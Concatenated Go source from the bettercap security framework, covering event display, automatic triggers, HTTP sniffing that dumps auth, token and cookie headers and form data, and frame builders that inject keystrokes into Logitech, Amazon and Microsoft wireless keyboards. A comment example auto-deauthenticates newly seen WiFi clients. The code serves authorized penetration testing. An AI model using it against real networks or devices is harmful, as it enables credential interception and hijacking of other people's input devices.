*EventsStream) Show(limit int) error { events := mod.Session.Events.Sorted() num := len(events) selected := []session.Event{} for i := range events { e := events[num-1-i] if !mod.Session.EventsIgnoreList.Ignored(e) { selected = append(selected, e) if len(selected) == limit { break } } } if numSelected := len(selected); numSelected > 0 { mod.Printf("\n") for i := range selected { mod.View(selected[numSelected-1-i], false) } mod.Session.Refresh() } return nil } func (mod *EventsStream) startWaitingFor(tag string, timeout int) error { if timeout == 0 { mod.Info("waiting for event %s ...", tui.Green(tag)) } else { mod.Info("waiting for event %s for %d seconds ...", tui.Green(tag), timeout) go func() { time.Sleep(time.Duration(timeout) * time.Second) mod.waitFor = "" mod.waitChan <- nil }() } mod.waitFor = tag event := <-mod.waitChan if event == nil { return fmt.Errorf("'events.waitFor %s %d' timed out.", tag, timeout) } else { mod.Debug("got event: %v", event) } return nil } func (mod *EventsStream) Stop() error { return mod.SetRunning(false, func() { mod.quit <- true if mod.output != os.Stdout { if fp, ok := mod.output.(*os.File); ok { fp.Close() } } }) }
Go
bettercap/modules/events_stream/events_triggers.go
package events_stream import ( "github.com/bettercap/bettercap/session" "github.com/evilsocket/islazy/tui" ) func (mod *EventsStream) addTrigger(tag string, command string) error { if err, id := mod.triggerList.Add(tag, command); err != nil { return err } else { mod.Info("trigger for event %s added with identifier '%s'", tui.Green(tag), tui.Bold(id)) } return nil } func (mod *EventsStream) clearTrigger(id string) error { if err := mod.triggerList.Del(id); err != nil { return err } return nil } func (mod *EventsStream) showTriggers() error { colNames := []string{ "ID", "Event", "Action", } rows := [][]string{} mod.triggerList.Each(func(id string, t Trigger) { rows = append(rows, []string{ tui.Bold(id), tui.Green(t.For), t.Action, }) }) if len(rows) > 0 { tui.Table(mod.Session.Events.Stdout, colNames, rows) mod.Session.Refresh() } return nil } func (mod *EventsStream) dispatchTriggers(e session.Event) { if id, cmds, err, found := mod.triggerList.Dispatch(e); err != nil { mod.Error("error while dispatching event %s: %v", e.Tag, err) } else if found { mod.Debug("running trigger %s (cmds:'%s') for event %v", id, cmds, e) for _, cmd := range session.ParseCommands(cmds) { if err := mod.Session.Run(cmd); err != nil { mod.Error("%s", err.Error()) } } } }
Go
bettercap/modules/events_stream/events_view.go
package events_stream import ( "fmt" "io" "os" "strings" "github.com/bettercap/bettercap/network" "github.com/bettercap/bettercap/session" "github.com/bettercap/bettercap/modules/net_sniff" "github.com/bettercap/bettercap/modules/syn_scan" "github.com/google/go-github/github" "github.com/evilsocket/islazy/tui" ) func (mod *EventsStream) viewLogEvent(output io.Writer, e session.Event) { fmt.Fprintf(output, "[%s] [%s] [%s] %s\n", e.Time.Format(mod.timeFormat), tui.Green(e.Tag), e.Label(), e.Data.(session.LogMessage).Message) } func (mod *EventsStream) viewEndpointEvent(output io.Writer, e session.Event) { t := e.Data.(*network.Endpoint) vend := "" name := "" if t.Vendor != "" { vend = fmt.Sprintf(" (%s)", t.Vendor) } if t.Alias != "" { name = fmt.Sprintf(" (%s)", t.Alias) } else if t.Hostname != "" { name = fmt.Sprintf(" (%s)", t.Hostname) } if e.Tag == "endpoint.new" { fmt.Fprintf(output, "[%s] [%s] endpoint %s%s detected as %s%s.\n", e.Time.Format(mod.timeFormat), tui.Green(e.Tag), tui.Bold(t.IpAddress), tui.Dim(name), tui.Green(t.HwAddress), tui.Dim(vend)) } else if e.Tag == "endpoint.lost" { fmt.Fprintf(output, "[%s] [%s] endpoint %s%s %s%s lost.\n", e.Time.Format(mod.timeFormat), tui.Green(e.Tag), tui.Red(t.IpAddress), tui.Dim(name), tui.Green(t.HwAddress), tui.Dim(vend)) } else { fmt.Fprintf(output, "[%s] [%s] %s\n", e.Time.Format(mod.timeFormat), tui.Green(e.Tag), t.String()) } } func (mod *EventsStream) viewModuleEvent(output io.Writer, e session.Event) { if *mod.Session.Options.Debug { fmt.Fprintf(output, "[%s] [%s] %s\n", e.Time.Format(mod.timeFormat), tui.Green(e.Tag), e.Data) } } func (mod *EventsStream) viewSnifferEvent(output io.Writer, e session.Event) { if strings.HasPrefix(e.Tag, "net.sniff.http.") { mod.viewHttpEvent(output, e) } else { fmt.Fprintf(output, "[%s] [%s] %s\n", e.Time.Format(mod.timeFormat), tui.Green(e.Tag), e.Data.(net_sniff.SnifferEvent).Message) } } func (mod *EventsStream) viewSynScanEvent(output io.Writer, e session.Event) { se := e.Data.(syn_scan.SynScanEvent) fmt.Fprintf(output, "[%s] [%s] found open port %d for %s\n", e.Time.Format(mod.timeFormat), tui.Green(e.Tag), se.Port, tui.Bold(se.Address)) } func (mod *EventsStream) viewUpdateEvent(output io.Writer, e session.Event) { update := e.Data.(*github.RepositoryRelease) fmt.Fprintf(output, "[%s] [%s] an update to version %s is available at %s\n", e.Time.Format(mod.timeFormat), tui.Bold(tui.Yellow(e.Tag)), tui.Bold(*update.TagName), *update.HTMLURL) } func (mod *EventsStream) Render(output io.Writer, e session.Event) { var err error if err, mod.timeFormat = mod.StringParam("events.stream.time.format"); err != nil { fmt.Fprintf(output, "%v", err) mod.timeFormat = "15:04:05" } if e.Tag == "sys.log" { mod.viewLogEvent(output, e) } else if strings.HasPrefix(e.Tag, "endpoint.") { mod.viewEndpointEvent(output, e) } else if strings.HasPrefix(e.Tag, "wifi.") { mod.viewWiFiEvent(output, e) } else if strings.HasPrefix(e.Tag, "ble.") { mod.viewBLEEvent(output, e) } else if strings.HasPrefix(e.Tag, "hid.") { mod.viewHIDEvent(output, e) } else if strings.HasPrefix(e.Tag, "gps.") { mod.viewGPSEvent(output, e) } else if strings.HasPrefix(e.Tag, "mod.") { mod.viewModuleEvent(output, e) } else if strings.HasPrefix(e.Tag, "net.sniff.") { mod.viewSnifferEvent(output, e) } else if e.Tag == "syn.scan" { mod.viewSynScanEvent(output, e) } else if e.Tag == "update.available" { mod.viewUpdateEvent(output, e) } else if e.Tag == "gateway.change" { mod.viewGatewayEvent(output, e) } else if e.Tag != "tick" && e.Tag != "session.started" && e.Tag != "session.stopped" { fmt.Fprintf(output, "[%s] [%s] %v\n", e.Time.Format(mod.timeFormat), tui.Green(e.Tag), e) } } func (mod *EventsStream) View(e session.Event, refresh bool) { mod.Render(mod.output, e) if refresh && mod.output == os.Stdout { mod.Session.Refresh() } mod.doRotation() }
Go
bettercap/modules/events_stream/events_view_ble.go
// +build !windows package events_stream import ( "fmt" "io" "github.com/bettercap/bettercap/network" "github.com/bettercap/bettercap/session" "github.com/evilsocket/islazy/tui" ) func (mod *EventsStream) viewBLEEvent(output io.Writer, e session.Event) { if e.Tag == "ble.device.new" { dev := e.Data.(*network.BLEDevice) name := dev.Device.Name() if name != "" { name = " " + tui.Bold(name) } vend := dev.Vendor if vend != "" { vend = fmt.Sprintf(" (%s)", tui.Yellow(vend)) } fmt.Fprintf(output, "[%s] [%s] new BLE device%s detected as %s%s %s.\n", e.Time.Format(mod.timeFormat), tui.Green(e.Tag), name, dev.Device.ID(), vend, tui.Dim(fmt.Sprintf("%d dBm", dev.RSSI))) } else if e.Tag == "ble.device.lost" { dev := e.Data.(*network.BLEDevice) name := dev.Device.Name() if name != "" { name = " " + tui.Bold(name) } vend := dev.Vendor if vend != "" { vend = fmt.Sprintf(" (%s)", tui.Yellow(vend)) } fmt.Fprintf(output, "[%s] [%s] BLE device%s %s%s lost.\n", e.Time.Format(mod.timeFormat), tui.Green(e.Tag), name, dev.Device.ID(), vend) } }
Go
bettercap/modules/events_stream/events_view_ble_unsupported.go
// +build windows package events_stream import ( "io" "github.com/bettercap/bettercap/session" ) func (mod *EventsStream) viewBLEEvent(output io.Writer, e session.Event) { }
Go
bettercap/modules/events_stream/events_view_gateway.go
package events_stream import ( "fmt" "io" "github.com/bettercap/bettercap/session" "github.com/evilsocket/islazy/tui" ) func (mod *EventsStream) viewGatewayEvent(output io.Writer, e session.Event) { change := e.Data.(session.GatewayChange) fmt.Fprintf(output, "[%s] [%s] %s gateway changed: '%s' (%s) -> '%s' (%s)\n", e.Time.Format(mod.timeFormat), tui.Red(e.Tag), string(change.Type), change.Prev.IP, change.Prev.MAC, change.New.IP, change.New.MAC) }
Go
bettercap/modules/events_stream/events_view_gps.go
package events_stream import ( "fmt" "io" "github.com/bettercap/bettercap/session" "github.com/evilsocket/islazy/tui" ) func (mod *EventsStream) viewGPSEvent(output io.Writer, e session.Event) { if e.Tag == "gps.new" { gps := e.Data.(session.GPS) fmt.Fprintf(output, "[%s] [%s] latitude:%f longitude:%f quality:%s satellites:%d altitude:%f\n", e.Time.Format(mod.timeFormat), tui.Green(e.Tag), gps.Latitude, gps.Longitude, gps.FixQuality, gps.NumSatellites, gps.Altitude) } }
Go
bettercap/modules/events_stream/events_view_hid.go
package events_stream import ( "fmt" "io" "github.com/bettercap/bettercap/network" "github.com/bettercap/bettercap/session" "github.com/evilsocket/islazy/tui" ) func (mod *EventsStream) viewHIDEvent(output io.Writer, e session.Event) { dev := e.Data.(*network.HIDDevice) if e.Tag == "hid.device.new" { fmt.Fprintf(output, "[%s] [%s] new HID device %s detected on channel %s.\n", e.Time.Format(mod.timeFormat), tui.Green(e.Tag), tui.Bold(dev.Address), dev.Channels()) } else if e.Tag == "hid.device.lost" { fmt.Fprintf(output, "[%s] [%s] HID device %s lost.\n", e.Time.Format(mod.timeFormat), tui.Green(e.Tag), tui.Red(dev.Address)) } }
Go
bettercap/modules/events_stream/events_view_http.go
package events_stream import ( "bytes" "compress/gzip" "encoding/hex" "encoding/json" "fmt" "io" "net/url" "regexp" "strings" "github.com/bettercap/bettercap/modules/net_sniff" "github.com/bettercap/bettercap/session" "github.com/evilsocket/islazy/tui" ) var ( reJsonKey = regexp.MustCompile(`("[^"]+"):`) ) func (mod *EventsStream) shouldDumpHttpRequest(req net_sniff.HTTPRequest) bool { if mod.dumpHttpReqs { // dump all return true } else if req.Method != "GET" { // dump if it's not just a GET return true } // search for interesting headers and cookies for name := range req.Headers { headerName := strings.ToLower(name) if strings.Contains(headerName, "auth") || strings.Contains(headerName, "token") { return true } } return false } func (mod *EventsStream) shouldDumpHttpResponse(res net_sniff.HTTPResponse) bool { if mod.dumpHttpResp { return true } else if strings.Contains(res.ContentType, "text/plain") { return true } else if strings.Contains(res.ContentType, "application/json") { return true } else if strings.Contains(res.ContentType, "text/xml") { return true } // search for interesting headers for name := range res.Headers { headerName := strings.ToLower(name) if strings.Contains(headerName, "auth") || strings.Contains(headerName, "token") || strings.Contains(headerName, "cookie") { return true } } return false } func (mod *EventsStream) dumpForm(body []byte) string { form := []string{} for _, v := range strings.Split(string(body), "&") { if strings.Contains(v, "=") { parts := strings.SplitN(v, "=", 2) name := parts[0] value, err := url.QueryUnescape(parts[1]) if err != nil { value = parts[1] } form = append(form, fmt.Sprintf("%s=%s", tui.Green(name), tui.Bold(tui.Red(value)))) } else { value, err := url.QueryUnescape(v) if err != nil { value = v } form = append(form, tui.Bold(tui.Red(value))) } } return "\n" + strings.Join(form, "&") + "\n" } func (mod *EventsStream) dumpText(body []byte) string { return "\n" + tui.Bold(tui.Red(string(body))) + "\n" } func (mod *EventsStream) dumpGZIP(body []byte) string { buffer := bytes.NewBuffer(body) uncompressed := bytes.Buffer{} reader, err := gzip.NewReader(buffer) if mod.dumpFormatHex { if err != nil { return mod.dumpRaw(body) } else if _, err = uncompressed.ReadFrom(reader); err != nil { return mod.dumpRaw(body) } return mod.dumpRaw(uncompressed.Bytes()) } else { if err != nil { return mod.dumpText(body) } else if _, err = uncompressed.ReadFrom(reader); err != nil { return mod.dumpText(body) } return mod.dumpText(uncompressed.Bytes()) } } func (mod *EventsStream) dumpJSON(body []byte) string { var buf bytes.Buffer var pretty string if err := json.Indent(&buf, body, "", " "); err != nil { pretty = string(body) } else { pretty = buf.String() } return "\n" + reJsonKey.ReplaceAllString(pretty, tui.Green(`$1:`)) + "\n" } func (mod *EventsStream) dumpXML(body []byte) string { // TODO: indent xml return "\n" + string(body) + "\n" } func (mod *EventsStream) dumpRaw(body []byte) string { return "\n" + hex.Dump(body) + "\n" } func (mod *EventsStream) viewHttpRequest(output io.Writer, e session.Event) { se := e.Data.(net_sniff.SnifferEvent) req := se.Data.(net_sniff.HTTPRequest) fmt.Fprintf(output, "[%s] [%s] %s\n", e.Time.Format(mod.timeFormat), tui.Green(e.Tag), se.Message) if mod.shouldDumpHttpRequest(req) { dump := fmt.Sprintf("%s %s %s\n", tui.Bold(req.Method), req.URL, tui.Dim(req.Proto)) dump += fmt.Sprintf("%s: %s\n", tui.Blue("Host"), tui.Yellow(req.Host)) for name, values := range req.Headers { for _, value := range values { dump += fmt.Sprintf("%s: %s\n", tui.Blue(name), tui.Yellow(value)) } } if req.Body != nil { if req.IsType("application/x-www-form-urlencoded") { dump += mod.dumpForm(req.Body) } else if req.IsType("text/plain") { dump += mod.dumpText(req.Body) } else if req.IsType("text/xml") { dump += mod.dumpXML(req.Body) } else if req.IsType("gzip") { dump += mod.dumpGZIP(req.Body) } else if req.IsType("application/json") { dump += mod.dumpJSON(req.Body) } else { if mod.dumpFormatHex { dump += mod.dumpRaw(req.Body) } else { dump += mod.dumpText(req.Body) } } } fmt.Fprintf(output, "\n%s\n", dump) } } func (mod *EventsStream) viewHttpResponse(output io.Writer, e session.Event) { se := e.Data.(net_sniff.SnifferEvent) res := se.Data.(net_sniff.HTTPResponse) fmt.Fprintf(output, "[%s] [%s] %s\n", e.Time.Format(mod.timeFormat), tui.Green(e.Tag), se.Message) if mod.shouldDumpHttpResponse(res) { dump := fmt.Sprintf("%s %s\n", tui.Dim(res.Protocol), res.Status) for name, values := range res.Headers { for _, value := range values { dump += fmt.Sprintf("%s: %s\n", tui.Blue(name), tui.Yellow(value)) } } if res.Body != nil { // TODO: add more interesting response types if res.IsType("text/plain") { dump += mod.dumpText(res.Body) } else if res.IsType("application/json") { dump += mod.dumpJSON(res.Body) } else if res.IsType("text/xml") { dump += mod.dumpXML(res.Body) } } fmt.Fprintf(output, "\n%s\n", dump) } } func (mod *EventsStream) viewHttpEvent(output io.Writer, e session.Event) { if e.Tag == "net.sniff.http.request" { mod.viewHttpRequest(output, e) } else if e.Tag == "net.sniff.http.response" { mod.viewHttpResponse(output, e) } }
Go
bettercap/modules/events_stream/events_view_wifi.go
package events_stream import ( "fmt" "github.com/bettercap/bettercap/modules/wifi" "io" "strings" "github.com/bettercap/bettercap/network" "github.com/bettercap/bettercap/session" "github.com/evilsocket/islazy/tui" ) func (mod *EventsStream) viewWiFiApEvent(output io.Writer, e session.Event) { ap := e.Data.(*network.AccessPoint) vend := "" if ap.Vendor != "" { vend = fmt.Sprintf(" (%s)", ap.Vendor) } rssi := "" if ap.RSSI != 0 { rssi = fmt.Sprintf(" (%d dBm)", ap.RSSI) } if e.Tag == "wifi.ap.new" { fmt.Fprintf(output, "[%s] [%s] wifi access point %s%s detected as %s%s.\n", e.Time.Format(mod.timeFormat), tui.Green(e.Tag), tui.Bold(ap.ESSID()), tui.Dim(tui.Yellow(rssi)), tui.Green(ap.BSSID()), tui.Dim(vend)) } else if e.Tag == "wifi.ap.lost" { fmt.Fprintf(output, "[%s] [%s] wifi access point %s (%s) lost.\n", e.Time.Format(mod.timeFormat), tui.Green(e.Tag), tui.Red(ap.ESSID()), ap.BSSID()) } else { fmt.Fprintf(output, "[%s] [%s] %s\n", e.Time.Format(mod.timeFormat), tui.Green(e.Tag), ap.String()) } } func (mod *EventsStream) viewWiFiClientProbeEvent(output io.Writer, e session.Event) { probe := e.Data.(wifi.ProbeEvent) desc := "" if probe.FromAlias != "" { desc = fmt.Sprintf(" (%s)", probe.FromAlias) } else if probe.FromVendor != "" { desc = fmt.Sprintf(" (%s)", probe.FromVendor) } rssi := "" if probe.RSSI != 0 { rssi = fmt.Sprintf(" (%d dBm)", probe.RSSI) } fmt.Fprintf(output, "[%s] [%s] station %s%s is probing for SSID %s%s\n", e.Time.Format(mod.timeFormat), tui.Green(e.Tag), probe.FromAddr, tui.Dim(desc), tui.Bold(probe.SSID), tui.Yellow(rssi)) } func (mod *EventsStream) viewWiFiHandshakeEvent(output io.Writer, e session.Event) { hand := e.Data.(wifi.HandshakeEvent) from := hand.Station to := hand.AP what := "handshake" if ap, found := mod.Session.WiFi.Get(hand.AP); found { to = fmt.Sprintf("%s (%s)", tui.Bold(ap.ESSID()), tui.Dim(ap.BSSID())) what = fmt.Sprintf("%s handshake", ap.Encryption) } if hand.PMKID != nil { what = "RSN PMKID" } else if hand.Full { what += " (full)" } else if hand.Half { what += " (half)" } fmt.Fprintf(output, "[%s] [%s] captured %s -> %s %s to %s\n", e.Time.Format(mod.timeFormat), tui.Green(e.Tag), from, to, tui.Red(what), hand.File) } func (mod *EventsStream) viewWiFiClientEvent(output io.Writer, e session.Event) { ce := e.Data.(wifi.ClientEvent) ce.Client.Alias = mod.Session.Lan.GetAlias(ce.Client.BSSID()) if e.Tag == "wifi.client.new" { fmt.Fprintf(output, "[%s] [%s] new station %s detected for %s (%s)\n", e.Time.Format(mod.timeFormat), tui.Green(e.Tag), ce.Client.String(), tui.Bold(ce.AP.ESSID()), tui.Dim(ce.AP.BSSID())) } else if e.Tag == "wifi.client.lost" { fmt.Fprintf(output, "[%s] [%s] station %s disconnected from %s (%s)\n", e.Time.Format(mod.timeFormat), tui.Green(e.Tag), ce.Client.String(), tui.Bold(ce.AP.ESSID()), tui.Dim(ce.AP.BSSID())) } } func (mod *EventsStream) viewWiFiDeauthEvent(output io.Writer, e session.Event) { deauth := e.Data.(wifi.DeauthEvent) fmt.Fprintf(output, "[%s] [%s] a1=%s a2=%s a3=%s reason=%s (%d dBm)\n", e.Time.Format(mod.timeFormat), tui.Green(e.Tag), deauth.Address1, deauth.Address2, deauth.Address3, tui.Bold(deauth.Reason), deauth.RSSI) } func (mod *EventsStream) viewWiFiEvent(output io.Writer, e session.Event) { if strings.HasPrefix(e.Tag, "wifi.ap.") { mod.viewWiFiApEvent(output, e) } else if e.Tag == "wifi.deauthentication" { mod.viewWiFiDeauthEvent(output, e) } else if e.Tag == "wifi.client.probe" { mod.viewWiFiClientProbeEvent(output, e) } else if e.Tag == "wifi.client.handshake" { mod.viewWiFiHandshakeEvent(output, e) } else if e.Tag == "wifi.client.new" || e.Tag == "wifi.client.lost" { mod.viewWiFiClientEvent(output, e) } else { fmt.Fprintf(output, "[%s] [%s] %#v\n", e.Time.Format(mod.timeFormat), tui.Green(e.Tag), e) } }
Go
bettercap/modules/events_stream/trigger_list.go
package events_stream import ( "encoding/json" "fmt" "regexp" "strings" "sync" "github.com/bettercap/bettercap/session" "github.com/antchfx/jsonquery" "github.com/evilsocket/islazy/str" "github.com/evilsocket/islazy/tui" ) var reQueryCapture = regexp.MustCompile(`{{([^}]+)}}`) type Trigger struct { For string Action string } type TriggerList struct { sync.Mutex triggers map[string]Trigger } func NewTriggerList() *TriggerList { return &TriggerList{ triggers: make(map[string]Trigger), } } func (l *TriggerList) Add(tag string, command string) (error, string) { l.Lock() defer l.Unlock() idNum := 0 command = str.Trim(command) for id, t := range l.triggers { if t.For == tag { if t.Action == command { return fmt.Errorf("duplicate: trigger '%s' found for action '%s'", tui.Bold(id), command), "" } idNum++ } } id := fmt.Sprintf("%s-%d", tag, idNum) l.triggers[id] = Trigger{ For: tag, Action: command, } return nil, id } func (l *TriggerList) Del(id string) (err error) { l.Lock() defer l.Unlock() if _, found := l.triggers[id]; found { delete(l.triggers, id) } else { err = fmt.Errorf("trigger '%s' not found", tui.Bold(id)) } return err } func (l *TriggerList) Each(cb func(id string, t Trigger)) { l.Lock() defer l.Unlock() for id, t := range l.triggers { cb(id, t) } } func (l *TriggerList) Completer(prefix string) []string { ids := []string{} l.Each(func(id string, t Trigger) { if prefix == "" || strings.HasPrefix(id, prefix) { ids = append(ids, id) } }) return ids } func (l *TriggerList) Dispatch(e session.Event) (ident string, cmd string, err error, found bool) { l.Lock() defer l.Unlock() for id, t := range l.triggers { if e.Tag == t.For { // this is ugly but it's also the only way to allow // the user to do this easily - since each event Data // field is an interface and type casting is not possible // via golang default text/template system, we transform // the field to JSON, parse it again and then allow the // user to access it in the command via JSON-Query, example: // // events.on wifi.client.new "wifi.deauth {{Client\mac}}" cmd = t.Action found = true ident = id buf := ([]byte)(nil) doc := (*jsonquery.Node)(nil) // parse each {EXPR} for _, m := range reQueryCapture.FindAllString(t.Action, -1) { // parse the event Data field as a JSON objects once if doc == nil { if buf, err = json.Marshal(e.Data); err != nil { err = fmt.Errorf("error while encoding event for trigger %s: %v", tui.Bold(id), err) return } else if doc, err = jsonquery.Parse(strings.NewReader(string(buf))); err != nil { err = fmt.Errorf("error while parsing event for trigger %s: %v", tui.Bold(id), err) return } } // {EXPR} -> EXPR expr := strings.Trim(m, "{}") // use EXPR as a JSON query if node := jsonquery.FindOne(doc, expr); node != nil { cmd = strings.Replace(cmd, m, node.InnerText(), -1) } else { err = fmt.Errorf( "error while parsing expressionfor trigger %s: '%s' doesn't resolve any object: %v", tui.Bold(id), expr, err, ) return } } return } } return }
Go
bettercap/modules/gps/gps.go
package gps import ( "fmt" "io" "time" "github.com/bettercap/bettercap/session" "github.com/adrianmo/go-nmea" "github.com/stratoberry/go-gpsd" "github.com/tarm/serial" "github.com/evilsocket/islazy/str" ) type GPS struct { session.SessionModule serialPort string baudRate int serial *serial.Port gpsd *gpsd.Session } var ModeInfo = [4]string{ "NoValueSeen", "NoFix", "Mode2D", "Mode3D", } func NewGPS(s *session.Session) *GPS { mod := &GPS{ SessionModule: session.NewSessionModule("gps", s), serialPort: "/dev/ttyUSB0", baudRate: 4800, } mod.AddParam(session.NewStringParameter("gps.device", mod.serialPort, "", "Serial device of the GPS hardware or hostname:port for a GPSD instance.")) mod.AddParam(session.NewIntParameter("gps.baudrate", fmt.Sprintf("%d", mod.baudRate), "Baud rate of the GPS serial device.")) mod.AddHandler(session.NewModuleHandler("gps on", "", "Start acquiring from the GPS hardware.", func(args []string) error { return mod.Start() })) mod.AddHandler(session.NewModuleHandler("gps off", "", "Stop acquiring from the GPS hardware.", func(args []string) error { return mod.Stop() })) mod.AddHandler(session.NewModuleHandler("gps.show", "", "Show the last coordinates returned by the GPS hardware.", func(args []string) error { return mod.Show() })) return mod } func (mod *GPS) Name() string { return "gps" } func (mod *GPS) Description() string { return "A module talking with GPS hardware on a serial interface or via GPSD." } func (mod *GPS) Author() string { return "Simone Margaritelli <[email protected]>" } func (mod *GPS) Configure() (err error) { if mod.Running() { return session.ErrAlreadyStarted(mod.Name()) } else if err, mod.serialPort = mod.StringParam("gps.device"); err != nil { return err } else if err, mod.baudRate = mod.IntParam("gps.baudrate"); err != nil { return err } if mod.serialPort[0] == '/' || mod.serialPort[0] == '.' { mod.Debug("connecting to serial port %s", mod.serialPort) mod.serial, err = serial.OpenPort(&serial.Config{ Name: mod.serialPort, Baud: mod.baudRate, ReadTimeout: time.Second * 1, }) } else { mod.Debug("connecting to gpsd at %s", mod.serialPort) mod.gpsd, err = gpsd.Dial(mod.serialPort) } return } func (mod *GPS) readLine() (line string, err error) { var n int b := make([]byte, 1) for { if n, err = mod.serial.Read(b); err != nil { return } else if n == 1 { if b[0] == '\n' { return str.Trim(line), nil } else { line += string(b[0]) } } } } func (mod *GPS) Show() error { mod.Printf("latitude:%f longitude:%f quality:%s satellites:%d altitude:%f\n", mod.Session.GPS.Latitude, mod.Session.GPS.Longitude, mod.Session.GPS.FixQuality, mod.Session.GPS.NumSatellites, mod.Session.GPS.Altitude) mod.Session.Refresh() return nil } func (mod *GPS) readFromSerial() { if line, err := mod.readLine(); err == nil { if s, err := nmea.Parse(line); err == nil { // http://aprs.gids.nl/nmea/#gga if m, ok := s.(nmea.GGA); ok { mod.Session.GPS.Updated = time.Now() mod.Session.GPS.Latitude = m.Latitude mod.Session.GPS.Longitude = m.Longitude mod.Session.GPS.FixQuality = m.FixQuality mod.Session.GPS.NumSatellites = m.NumSatellites mod.Session.GPS.HDOP = m.HDOP mod.Session.GPS.Altitude = m.Altitude mod.Session.GPS.Separation = m.Separation mod.Session.Events.Add("gps.new", mod.Session.GPS) } } else { mod.Debug("error parsing line '%s': %s", line, err) } } else if err != io.EOF { mod.Warning("error while reading serial port: %s", err) } } func (mod *GPS) runFromGPSD() { mod.gpsd.AddFilter("TPV", func(r interface{}) { report := r.(*gpsd.TPVReport) mod.Session.GPS.Updated = report.Time mod.Session.GPS.Latitude = report.Lat mod.Session.GPS.Longitude = report.Lon mod.Session.GPS.FixQuality = ModeInfo[report.Mode] mod.Session.GPS.Altitude = report.Alt mod.Session.Events.Add("gps.new", mod.Session.GPS) }) mod.gpsd.AddFilter("SKY", func(r interface{}) { report := r.(*gpsd.SKYReport) mod.Session.GPS.NumSatellites = int64(len(report.Satellites)) mod.Session.GPS.HDOP = report.Hdop //mod.Session.GPS.Separation = 0 }) done := mod.gpsd.Watch() <-done } func (mod *GPS) Start() error { if err := mod.Configure(); err != nil { return err } return mod.SetRunning(true, func() { mod.Info("started on port %s ...", mod.serialPort) if mod.serial != nil { defer mod.serial.Close() for mod.Running() { mod.readFromSerial() } } else { mod.runFromGPSD() } }) } func (mod *GPS) Stop() error { return mod.SetRunning(false, func() { if mod.serial != nil { // let the read fail and exit mod.serial.Close() } /* FIXME: no Close or Stop method in github.com/stratoberry/go-gpsd else { if err := mod.gpsd.Close(); err != nil { mod.Error("failed closing the connection to GPSD: %s", err) } } */ }) }
Go
bettercap/modules/hid/builders.go
package hid import ( "github.com/bettercap/bettercap/network" ) type FrameBuilder interface { BuildFrames(*network.HIDDevice, []*Command) error } var FrameBuilders = map[network.HIDType]FrameBuilder{ network.HIDTypeLogitech: LogitechBuilder{}, network.HIDTypeAmazon: AmazonBuilder{}, network.HIDTypeMicrosoft: MicrosoftBuilder{}, } func availBuilders() []string { return []string{ "logitech", "amazon", "microsoft", } } func builderFromName(name string) FrameBuilder { switch name { case "amazon": return AmazonBuilder{} case "microsoft": return MicrosoftBuilder{} default: return LogitechBuilder{} } }
Go
bettercap/modules/hid/build_amazon.go
package hid import ( "github.com/bettercap/bettercap/network" ) const ( amzFrameDelay = 5 ) type AmazonBuilder struct { } func (b AmazonBuilder) frameFor(cmd *Command) []byte { return []byte{0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0, cmd.Mode, 0, cmd.HID, 0} } func (b AmazonBuilder) BuildFrames(dev *network.HIDDevice, commands []*Command) error { for i, cmd := range commands { if i == 0 { for j := 0; j < 5; j++ { cmd.AddFrame(b.frameFor(&Command{}), amzFrameDelay) } } if cmd.IsHID() { cmd.AddFrame(b.frameFor(cmd), amzFrameDelay) cmd.AddFrame(b.frameFor(&Command{}), amzFrameDelay) } else if cmd.IsSleep() { for i, num := 0, cmd.Sleep/10; i < num; i++ { cmd.AddFrame(b.frameFor(&Command{}), 10) } } } return nil }
Go
bettercap/modules/hid/build_logitech.go
package hid import ( "github.com/bettercap/bettercap/network" ) const ( ltFrameDelay = 12 ) var ( helloData = []byte{0x00, 0x4F, 0x00, 0x04, 0xB0, 0x10, 0x00, 0x00, 0x00, 0xED} keepAliveData = []byte{0x00, 0x40, 0x04, 0xB0, 0x0C} ) type LogitechBuilder struct { } func (b LogitechBuilder) frameFor(cmd *Command) []byte { data := []byte{0, 0xC1, cmd.Mode, cmd.HID, 0, 0, 0, 0, 0, 0} sz := len(data) last := sz - 1 sum := byte(0xff) for i := 0; i < last; i++ { sum = (sum - data[i]) & 0xff } sum = (sum + 1) & 0xff data[last] = sum return data } func (b LogitechBuilder) BuildFrames(dev *network.HIDDevice, commands []*Command) error { last := len(commands) - 1 for i, cmd := range commands { if i == 0 { cmd.AddFrame(helloData, ltFrameDelay) } next := (*Command)(nil) if i < last { next = commands[i+1] } if cmd.IsHID() { cmd.AddFrame(b.frameFor(cmd), ltFrameDelay) cmd.AddFrame(keepAliveData, 0) if next == nil || cmd.HID == next.HID || next.IsSleep() { cmd.AddFrame(b.frameFor(&Command{}), 0) } } else if cmd.IsSleep() { for i, num := 0, cmd.Sleep/10; i < num; i++ { cmd.AddFrame(keepAliveData, 10) } } } return nil }
Go
bettercap/modules/hid/build_microsoft.go
package hid import ( "fmt" "github.com/bettercap/bettercap/network" ) type MicrosoftBuilder struct { seqn uint16 } func (b MicrosoftBuilder) frameFor(template []byte, cmd *Command) []byte { data := make([]byte, len(template)) copy(data, template) data[4] = byte(b.seqn & 0xff) data[5] = byte((b.seqn >> 8) & 0xff) data[7] = cmd.Mode data[9] = cmd.HID // MS checksum algorithm - as per KeyKeriki paper sum := byte(0) last := len(data) - 1 for i := 0; i < last; i++ { sum ^= data[i] } sum = ^sum & 0xff data[last] = sum b.seqn++ return data } func (b MicrosoftBuilder) BuildFrames(dev *network.HIDDevice, commands []*Command) error { if dev == nil { return fmt.Errorf("the microsoft frame injection requires the device to be visible") } tpl := ([]byte)(nil) dev.EachPayload(func(p []byte) bool { if len(p) == 19 { tpl = p return true } return false }) if tpl == nil { return fmt.Errorf("at least one packet of 19 bytes needed to hijack microsoft devices, try to hid.sniff the device first") } last := len(commands) - 1 for i, cmd := range commands { next := (*Command)(nil) if i < last { next = commands[i+1] } if cmd.IsHID() { cmd.AddFrame(b.frameFor(tpl, cmd), 5) if next == nil || cmd.HID == next.HID || next.IsSleep() { cmd.AddFrame(b.frameFor(tpl, &Command{}), 0) } } else if cmd.IsSleep() { for i, num := 0, cmd.Sleep/10; i < num; i++ { cmd.AddFrame(b.frameFor(tpl, &Command{}), 0) } } } return nil }
Go
bettercap/modules/hid/command.go
